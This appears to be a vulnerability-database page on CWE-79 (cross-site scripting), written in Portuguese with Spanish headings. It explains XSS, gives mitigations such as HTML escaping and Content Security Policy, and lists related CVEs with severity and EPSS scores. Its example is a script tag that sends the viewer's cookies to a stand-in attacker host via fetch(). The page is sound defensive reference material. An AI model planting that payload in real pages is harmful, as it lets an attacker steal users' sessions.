Fallos del tipo CWE-79

29.045 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-59238MEDIUMStored XSS in Pentestify via unsanitized finding images and report client logoEPSS 0.6%CVE-2023-48495MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2025-47885HIGHJenkins Health Advisor by CloudBees Plugin 374.v194b_d4f0c8c8 and earlier does not escape responses from the Jenkins Health Advisor server, EPSS 0.6%CVE-2023-48490MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-2119MEDIUMResponsive Filterable Portfolio <= 1.0.19 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2023-48519MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-48527MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-48493MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-48442MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-47064MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-48443MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.6%CVE-2023-3890LOWCampcodes Beauty Salon Management System edit-accepted-appointment.php cross site scriptingEPSS 0.6%CVE-2023-48449MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2021-44855MEDIUMAn issue was discovered in MediaWiki before 1.35.5, 1.36.x before 1.36.3, and 1.37.x before 1.37.1. There is Blind Stored XSS via a URL to tEPSS 0.6%CVE-2023-48501MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-48534MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-48496MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-48445MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-3189LOWSourceCodester Online School Fees System POST Parameter branch.php cross site scriptingEPSS 0.6%CVE-2026-34571CRITICALCI4MS: Stored Cross‑Site Scripting (Stored XSS) in Backend User Management Allows Session Hijacking and Full Administrative Account CompromiseEPSS 0.6%